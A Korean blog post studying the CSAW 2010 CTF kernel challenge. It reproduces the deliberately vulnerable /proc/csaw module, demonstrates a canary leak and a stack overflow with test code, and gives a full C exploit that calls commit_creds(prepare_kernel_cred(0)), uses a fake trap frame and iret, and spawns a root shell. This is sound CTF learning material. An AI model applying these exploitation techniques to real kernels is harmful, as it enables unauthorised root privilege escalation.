Demon 시즌2/linux kernel exploitation

[linux kernel] (6) - CSAW 2010 Kernel Exploit

jir4vvit 2021. 1. 2. 18:50

드림핵 강의를 보다가 막혀서 팀원분들이 공부하는 것처럼 CTF write up을 보면서 공부하기로 했다. blackperl security 블로그의 CSAW 2010 KERNEL EXPLOIT 를 보고 공부해보았다. 직접 실행하면서 문제를 풀어보고 싶었는데 문제 파일을 구하기도 힘들었고 일단은 write up을 보면서 이론으로 공부해보는 것도 나쁘지 않을 것 같아서 그냥 문서를 읽어보면서 공부를 진행하였다.

 


1. 문제 소스 (csaw.c)

실제 대회 당시에도 문제 소스가 제공되었다고 한다. 

/*
 * csaw.c
 * CSAW CTF Challenge Kernel Module
 * Jon Oberheide <jon@oberheide.org>
 *
 * This module implements the /proc/csaw interface which can be read
 * and written like a normal file. For example:
 *
 * $ cat /proc/csaw
 * Welcome to the CSAW CTF challenge. Best of luck!
 * $ echo "Hello World" > /proc/csaw
 */

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <asm/uaccess.h>

#define MAX_LENGTH 64

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Jon Oberheide");
MODULE_DESCRIPTION("CSAW CTF Challenge Kernel Module");

static struct proc_dir_entry *csaw_proc;

int
csaw_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
    char buf[MAX_LENGTH];

    printk(KERN_INFO "csaw: called csaw_write\n");

    /*
     * We should be safe to perform this copy from userspace since our
     * kernel is compiled with CC_STACKPROTECTOR, which includes a canary
     * on the kernel stack to protect against smashing the stack.
     *
     * While the user could easily DoS the kernel, I don't think they
     * should be able to escalate privileges without discovering the
     * secret stack canary value.
     */
    if (copy_from_user(&buf, ubuf, count)) {
        printk(KERN_INFO "csaw: error copying data from userspace\n");
        return -EFAULT;
    }

    return count;
}

int
csaw_read(char *page, char **start, off_t off, int count, int *eof, void *data)
{
    char buf[MAX_LENGTH];

    printk(KERN_INFO "csaw: called csaw_read\n");

    *eof = 1;
    memset(buf, 0, sizeof(buf));
    strcpy(buf, "Welcome to the CSAW CTF challenge. Best of luck!\n");
    memcpy(page, buf + off, MAX_LENGTH);

    return MAX_LENGTH;
}

static int __init
csaw_init(void)
{
    printk(KERN_INFO "csaw: loading module\n");

    csaw_proc = create_proc_entry("csaw", 0666, NULL);
    csaw_proc->read_proc = csaw_read;
    csaw_proc->write_proc = csaw_write;

    printk(KERN_INFO "csaw: created /proc/csaw entry\n");

    return 0;
}

static void __exit
csaw_exit(void)
{
    if (csaw_proc) {
        remove_proc_entry("csaw", csaw_proc);
    }

    printk(KERN_INFO "csaw: unloading module\n");
}

module_init(csaw_init);
module_exit(csaw_exit);

 

간단한 커널 모듈 내용 이다. 

 

커널 모듈은 일반 응용 프로그램과 달리 main함수가 없는데, 대신에 커널에 로딩 및 제거될 때 불러지는 함수가 존재한다.

  • Loading : module_init()으로 지정된 함수 호출

  • Unloading : module_exit()으로 지정된 함수 호출

위 경우에서는 csaw_init 함수가 이 커널 모듈이 로드됐을 때 호출될 것이다.

즉, 이 커널 모듈을 로드하면 csaw_init 함수 내용이 호출될 것이다. 

 

 

2. 분석

문제에서 제공된 소스 중 csaw_init 함수

csaw_init(void)
{
    printk(KERN_INFO "csaw: loading module\n");

    csaw_proc = create_proc_entry("csaw", 0666, NULL);
    csaw_proc->read_proc = csaw_read;
    csaw_proc->write_proc = csaw_write;

    printk(KERN_INFO "csaw: created /proc/csaw entry\n");

    return 0;
}

create_proc_entry 함수를 이용하여 proc entry를 생성한다.

 

더 정확히는 "csaw" 이름으로 0666 권한을 가진 entry가 생성된다. 

마지막 인자가 NULL이기 때문에 이 entry는 /proc 디렉터리 밑에 생성이 된다.

 

즉, 모듈이 로드되면 /proc에 csaw가 생기게 되고 권한이 0666이기 때문에 읽고 쓸 수 있다. 

읽기 작업을 하면 csaw_read 함수가 실행되고,

쓰기 작업을 하면 csaw_write 함수가 실행된다. 

 

 

 

csaw_read 함수

int
csaw_read(char *page, char **start, off_t off, int count, int *eof, void *data)
{
    char buf[MAX_LENGTH];

    printk(KERN_INFO "csaw: called csaw_read\n");

    *eof = 1;
    memset(buf, 0, sizeof(buf));
    strcpy(buf, "Welcome to the CSAW CTF challenge. Best of luck!\n");
    memcpy(page, buf + off, MAX_LENGTH);

    return MAX_LENGTH;
}
  1. memset 함수 : 64byte인 buf를 0으로 초기화 (#define MAX_LENGTH 64)

  2. strcpy 함수 : "Welcome to the CSAW CTF challenge. Best of luck!\n" 문자열을 buf로 복사

  3. memcpy 함수 : page 변수로 복사, 이때 off(시작지점)을 사용자가 지정할 수 있다면 버퍼 뒤에 존재하는 데이터를 읽을 수 있지 않을까?

그러면 /proc/csaw 라는 proc entry를 읽게 되면 page에 담긴 내용을 읽을 수 있게 된다.

 

 

memcpy 함수

#include <string.h> // C++ 에서는 <cstring> 

void* memcpy(void* destination, const void* source, size_t num);

메모리의 일부분을 복사한다.

memcpy 함수의 인자인 source 가 가리키는 곳 부터 num 바이트 만큼을 destination 이 가리키는 곳에 복사한다.

 

 

 

csaw_write 함수

int
csaw_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
    char buf[MAX_LENGTH];

    printk(KERN_INFO "csaw: called csaw_write\n");

    /*
     * We should be safe to perform this copy from userspace since our
     * kernel is compiled with CC_STACKPROTECTOR, which includes a canary
     * on the kernel stack to protect against smashing the stack.
     *
     * While the user could easily DoS the kernel, I don't think they
     * should be able to escalate privileges without discovering the
     * secret stack canary value.
     */
    if (copy_from_user(&buf, ubuf, count)) {
        printk(KERN_INFO "csaw: error copying data from userspace\n");
        return -EFAULT;
    }

    return count;
}

 

copy_from_user 함수를 통해 buf 변수에 ubuf 내용을 복사한다.  

그런데, count 변수를 통해 복사 길이를 사용자가 설정하는 것이면 overflow가 발생할 수 있지 않을까?

 

ubuf는 userland에서 사용자가 /proc/csaw에 쓰기 작업을 하여 무엇인가를 쓰면 담기게 된다.

그리고 그 내용을 buf 변수에 담게 된다.

 

 

 

3. 정리

즉, 문제에서 제공된 커널 모듈의 역할은 proc entry를 만들고 사용자가 읽고 쓸 수 있도록 해주는 것이다. 

그리고 아래의 두가지 취약점을 찾을 수 있다.

  • csaw_read 함수에서, off(시작지점)을 사용자가 지정하여 버퍼 뒤의 값 leak 가능
  • cswa_write 함수에서, count(복사길이)를 사용자가 지정하여 overflow 발생

 

 

4. 취약점

test1 : off를 0으로 주기

아래는 /proc/csaw 에 읽고 쓰기를 하는 테스트 코드이다.

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char *argv[])
{
        char send_buf[70];
        char read_buf[70];
        int fd,i,j;

        memset(send_buf,0,70);
        memset(read_buf,0,70);

        fd = open("/proc/csaw", O_RDWR);
        if (!fd)
        {
                printf("open failed\n");
                return 0;
        }

        // 포인터를 맨 앞으로 설정 후 read
        lseek(fd, 0, SEEK_CUR);
        read(fd, read_buf, 64);

        // 16진수와 ascii가 나오도록 가독성 있게 출력
        for (i = 0; i < 4; i++)
        {
                for (j = 0; j < 16; j++) printf("%02x ", read_buf[i*16+j] & 0xff);

                printf(" | ");

                for (j = 0; j < 16; j++) printf("%c", read_buf[i*16+j] & 0xff);

                printf("\n");
        }

        // send_buf를 'A'로 채운 후 write
        memset(send_buf, 0x41, 64);
        write(fd, send_buf, 64);

        return 0;
}

main 함수에서 /proc/csaw 를 읽고 쓰기용으로 연 후에, read 함수로 64byte만큼 읽고 write 함수로 64byte 만큼 A를 쓰는 테스트 코드이다.

 

 

그리고 csaw.c 소스에서 csaw_write, csaw_read 함수에 printk 함수를 추가하여 변수내용을 출력하도록 수정을 한다.

더보기
/*
 * csaw.c
 * CSAW CTF Challenge Kernel Module
 * Jon Oberheide <jon@oberheide.org>
 *
 * This module implements the /proc/csaw interface which can be read
 * and written like a normal file. For example:
 *
 * $ cat /proc/csaw 
 * Welcome to the CSAW CTF challenge. Best of luck!
 * $ echo "Hello World" > /proc/csaw
 */

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <asm/uaccess.h>

#define MAX_LENGTH 64

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Jon Oberheide");
MODULE_DESCRIPTION("CSAW CTF Challenge Kernel Module");

static struct proc_dir_entry *csaw_proc;

int
csaw_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
	char buf[MAX_LENGTH];

	printk(KERN_INFO "csaw: called csaw_write\n");

	/* 
	 * We should be safe to perform this copy from userspace since our 
	 * kernel is compiled with CC_STACKPROTECTOR, which includes a canary
	 * on the kernel stack to protect against smashing the stack.
	 *
	 * While the user could easily DoS the kernel, I don't think they
	 * should be able to escalate privileges without discovering the 
	 * secret stack canary value.
	 */
	if (copy_from_user(&buf, ubuf, count)) {
		printk(KERN_INFO "csaw: error copying data from userspace\n");
		return -EFAULT;
	}
	printk(KERN_INFO "buf is %s\n", buf);

	return count;
}

int
csaw_read(char *page, char **start, off_t off, int count, int *eof, void *data)
{
	char buf[MAX_LENGTH];

	printk(KERN_INFO "csaw: called csaw_read\n");

	*eof = 1;
	memset(buf, 0, sizeof(buf));
	strcpy(buf, "Welcome to the CSAW CTF challenge. Best of luck!\n");
	printk(KERN_INFO "off is %d\n",off);
	memcpy(page, buf + off, MAX_LENGTH);

	return MAX_LENGTH;
}

static int __init
csaw_init(void)
{
	printk(KERN_INFO "csaw: loading module\n");

	csaw_proc = create_proc_entry("csaw", 0666, NULL);
	csaw_proc->read_proc = csaw_read;
	csaw_proc->write_proc = csaw_write;

	printk(KERN_INFO "csaw: created /proc/csaw entry\n");

	return 0;
}
 
static void __exit
csaw_exit(void)
{
	if (csaw_proc) {
		remove_proc_entry("csaw", csaw_proc);
	}

	printk(KERN_INFO "csaw: unloading module\n");
}
 
module_init(csaw_init);
module_exit(csaw_exit);

 

테스트 코드를 실행을 해보면 아래와 같다. 

실행한 모습

  1. off if 0 : lseek(fd, 0, SEEK_CUR); //읽기,쓰기 포인터 위치를 0(맨 앞)으로 줌

  2. read 함수로 64byte 만큼 읽음 : page 변수에 담긴 "Welcome ~" 문자열을 읽게 됨

  3. write 함수로 64byte 만큼 "A"를 씀 : buf에 "A"*64개가 들어감

 

그림을 그리면 아래와 같다.

csaw_read 함수를 생각해보자. memcpy 함수를 이용하여 buf+off에서 page로 복사를 하는데 이때 무조건 64byte만큼 복사를 하게 된다.

방금 작성한 소스에서는 lseek(fd, 0, SEEK_CUR);

 

즉, off를 0으로 주었기 때문에 buf+0이 page로 복사되었다. 

그리고 그 page에 복사된 내용은 사용자가 read 함수로 읽을 수 있다.

 

test2 : off를 16으로 주기 -> canary값 획득

off를 16으로 주고, buf+16부터 page로 복사하면 어떻게 될까? lseek(fd, 16, SEEK_CUR);

더보기
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char *argv[])
{
        char send_buf[70];
        char read_buf[70];
        int fd,i,j;

        memset(send_buf,0,70);
        memset(read_buf,0,70);

        fd = open("/proc/csaw", O_RDWR);
        if (!fd)
        {
                printf("open failed\n");
                return 0;
        }

        // off를 16으로 설정 후 read
        lseek(fd, 16, SEEK_CUR);
        read(fd, read_buf, 64);

        // 16진수와 ascii가 나오도록 가독성 있게 출력
        for (i = 0; i < 4; i++)
        {
                for (j = 0; j < 16; j++) printf("%02x ", read_buf[i*16+j] & 0xff);

                printf(" | ");

                for (j = 0; j < 16; j++) printf("%c", read_buf[i*16+j] & 0xff);

                printf("\n");
        }

        // send_buf를 'A'로 채운 후 write
        memset(send_buf, 0x41, 64);
        write(fd, send_buf, 64);

        return 0;
}

 

실행을 하면 아래와 같다.

  1. off if 16 : lseek(fd, 16, SEEK_CUR); //17번재째 문자열 "S"부터 복사가 됨
    page 변수 출력 : "SAW CTF ~ "

  2. read 함수로 64byte 만큼 읽음 : page 변수에 담긴 "SAW CTF challenge. Best of luck!\n" 문자열부터 16만큼 떨어진 곳부터 읽음 -> "e. Best ~" 부터 읽음  

  3. write 함수로 64byte 만큼 "A"를 씀 : buf에 "A"*64개가 들어감

최종적으로 카나리 값 (0x27 0x48 0x97 0x9c)을 leak할 수 있다.

 

 

그림으로 표현하면 아래와 같은 원리로 동작하였다. 

 

 

test3 : overflow

csaw_read 함수의 취약점으로 canary 값을 leak했으니, csaw_write 함수에서 overflow를 일으킬 차례다.

 

csaw_write 함수에서 copy_from_user 함수로 사용자가 쓴 값(ubuf)을 buf로 복사를 한다. 

copy_from_user(&buf, ubuf, count)

이 때, count만큼 복사를 하는데 count는 사용자가 조작할 수 있는 값이다.

여기서 방금 구한 canary값을 포함하여 overflow를 일으킬 수 있다.

 

 

main 함수에 아래의 값을 추가시켜 eip를 찍어보자.

	memset(send_buf, 0x41, 64);
	memcpy(send_buf+64,canary,4);
	memset(send_buf+68,0x41414141,4);
	memset(send_buf+72,0x42424242,4);
	memset(send_buf+76,0x43434343,4);
	memset(send_buf+80,0x44444444,4);
	write(fd, send_buf, 84);

 

실행 결과는 아래와 같다. 

eip가 0x44444444로 바뀌었다. 우리는 eip를 조작할 수 있다. 

eip를 조작할 수 있다는 뜻은 return address를 조작할 수 있다는 것을 뜻한다.

 

root로의 권한상승을 하는 commit_creds(prepare_kernel_cred(0))를 호출하자.

(userland에서의 system("/bin/sh"))

 

 

?

더보기

canary와 ret 사이 12byte는 뭘까...

 

 

5. trap frame

userland에서 kernelland로 갈 때 (system call 호출, interrupt 등.. ) trap frame을 스택에 먼저 저장한다. 

예외가 발생하였을 경우 예외가 발생한 주소와 레지스터 값을 저장을 하기 위해서 사용한다.

 

trap frame에 예외가 발생하였던 당시의 메모리 및 레지스터 값을 저장해 둠으로써 추후에 문제가 발생하였던 시점으로 메모리 및 레지스터 값을 복구하여 문제 해결에 사용을 한다.

 

trap frame은 다음과 같이 구성되어 있다.

struct trap_frame {
	void * eip ;       // instruction pointer
	uint32_t cs ;      // code segment
	uint32_t eflags ;  // CPU flags
	void * esp ;       // stack pointer
	uint32_t ss ;      // stack segment
} __attribute__ (( packed ));

 

예를 들어 system call을 호출한다고 하면, 레지스터 정보들이 담겨 있는 trap frame을 스택에 먼저 저장하고 system call을 처리한 후에, system call을 호출할 때 당시 스택에 저장해두었던 레지스터들을 다시 가져와서 그 이후 내용들을 이어가게 된다. 

 

6. 익스플로잇 

아래는 익스플로잇 코드이다.

 

return address를 덮기 전에 fake trap frame을 만들어 저장한 후 return address를 바꾸고, commit_creds(prepare_kernel_cred(0)) 을 실행한 이후에
스택에 fake trap frame 을 저장하고 /bin/sh 을 실행해본다. 

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>


struct trap_frame {
    void *eip;
    uint32_t cs;
    uint32_t eflags;
    void *esp;
    uint32_t ss;
} __attribute__((packed));

struct trap_frame tf;
int __attribute__((regparm(3)))(*commit_creds)(void*);
void* __attribute__((regparm(3)))(*prepare_kernel_cred)(void*);

void call_binsh(void)
{
    execl("/bin/sh","sh",NULL);
}

// fake trap frame을 구성하는 함수
void prepare_tf(void)
{
    asm("pushl %cs; popl tf+4;"
        "pushfl; popl tf+8;"
        "pushl %esp; popl tf+12;"
        "pushl %ss; popl tf+16;");
    tf.eip = &call_binsh;	// trap frame을 복구할 때, eip를 변조
    tf.esp -= 1024;			// 사용하지 않는 영역으로 설정
}

// 설정된 fake trap frame을 스택에 넣고 iret으로 복원하는 함수
void payload(void)
{
    commit_creds(prepare_kernel_cred(0));
    asm("mov $tf, %esp;"
        "iret;");			// iret으로 조작된 trap frame을 복구
}

// 커널 함수의 주소를 /proc/kallsyms에서 추출하는 함수
unsigned long kallsym_getaddr(const char* str)
{
    FILE *stream;
    char fbuf[256];
    char addr[32];

    stream = fopen("/proc/kallsyms","r");
    if(stream < 0)
    {
        printf("failed to open /proc/kallsyms\n");
        return 0;
    }

    memset(fbuf,0x00,sizeof(fbuf));
	
    while(fgets(fbuf,256,stream) != NULL)
    {
        char *p = fbuf;
        char *a = addr;

        if(strlen(fbuf) == 0)
            continue;

        memset(addr,0x00,sizeof(addr));
        fbuf[strlen(fbuf)-1] = '\0';

        while(*p != ' ')
            *a++ = *p++;

        p += 3;
        if(!strcmp(p,str))
            return strtoul(addr, NULL, 16);
    }
    return 0;
}

int main(int argc, char *argv[])
{
    char send_buf[100];
    char read_buf[100];
    char canary[4];
    int fd,i,j;

    memset(send_buf,0,70);
    memset(read_buf,0,70);
	
    fd = open("/proc/csaw", O_RDWR);
    if (!fd)
    {
        printf("open failed\n");
        return 0;
    }

    lseek(fd, 16, SEEK_CUR);
    read(fd, read_buf, 64);

    printf("%s\n",read_buf);
    for (i = 0; i < 4; i++)
    {
        for (j = 0; j < 16; j++) printf("%02x ", read_buf[i*16+j] & 0xff);  
        printf(" | ");
        	
        for (j = 0; j < 16; j++) printf("%c", read_buf[i*16+j] & 0xff);

        printf("\n");
    }

    memcpy(canary, read_buf+32,4);
    printf("canary is :");
    for(i = 0;i < 4;i++) printf("%02x ",canary[i] & 0xff);
    	
    commit_creds = kallsym_getaddr("commit_creds");

    if(commit_creds == 0)
    {
        printf("failed to get commit_creds address\n");
        return 0;
    }

    printf("commit_creds address is :%p\n",commit_creds);

    prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred");

    if(prepare_kernel_cred == 0)
    {
        printf("failed to get prepare_kernel_cred address\n");
        return 0;
    }

    printf("prepare_kernel_cred address is :%p\n",prepare_kernel_cred);

    memset(send_buf, 0x41, 64);
    memcpy(send_buf+64,canary,4);
    memset(send_buf+68,0x41414141,4);
    memset(send_buf+72,0x42424242,4);
    memset(send_buf+76,0x43434343,4);
    *(void**)(send_buf+80) = &payload;
    prepare_tf();
    write(fd, send_buf, 84);
    
    return 0;
}

익스플로잇에 성공하여 root 권한을 획득한 것을 볼 수 있다.

 

 


해당 문제를 먼저 공부하신 팀원분의 질문에 대해 나도 함께 고민해보았다.

 

canary 밑 sfp 밑에 return이 있어야 하는것이 아닌가?

더보기

사실 나도 의문이다. trap frame이 12바이트나 차지하나?

만약 canary와 ret 사이의 공백(?)이 랜덤이라면 커널 문제를 풀 때에는 이 문제처럼 eip가 어떤 값으로 조작되었는 지 확인하면서 문제를 풀어야 하는 것인가?

 

 

tf.esp를 수정하여 사용하지 않는 스택영역으로 설정하는 이유는?

더보기

함수 에필로그 때문일 것 같다.

mov esp, ebp
pop ebp
pop eip
jmp eip

함수 에필로그를 진행할 때 pop 명령은 esp+4 값을 인자로 준 레지스터에 저장하게 된다. 

eip를.. 내가 이동하고 싶은 주소로 넣어주었으니, 안전하게 esp를 사용하지 않는 영역으로 설정한 것이 아닐까 생각이 든다.

 

 

tf에 eip 정보가 있는데 return 주소가 존재하는 이유는,,,,,????????!?!?!?!?!?

더보기

trap frame을 통해 우리는 eip를 복원할 수 있다. 그런데 왜 return address를 변조하는 것일까?

 

보통 프로그램의 실행을 보면 아래와 같다.

이렇게 왔다갔다 하는 과정은 trap frame이 스택에 쌓이고 정리되는 것인데, return address로 trap frame이 정리되는 주소로 줘야하는 것 같다.

 

 

 

 

 

 

 

* ref

더보기

blackperl-security.gitlab.io/blog/2018/05/14/2018-05-14-csaw2010-kernelex/

butter-shower.tistory.com/30

m.blog.naver.com/PostView.nhn?blogId=no1rogue&logNo=30095467882&proxyReferer=https:%2F%2Fwww.google.com%2F

modoocode.com/77

 

 

역시 문제를 직접 살펴보니 약간의 흐름을 알게 되는 것 같다.

그리고 trap frame이란 것을 새롭게 알게 되었다.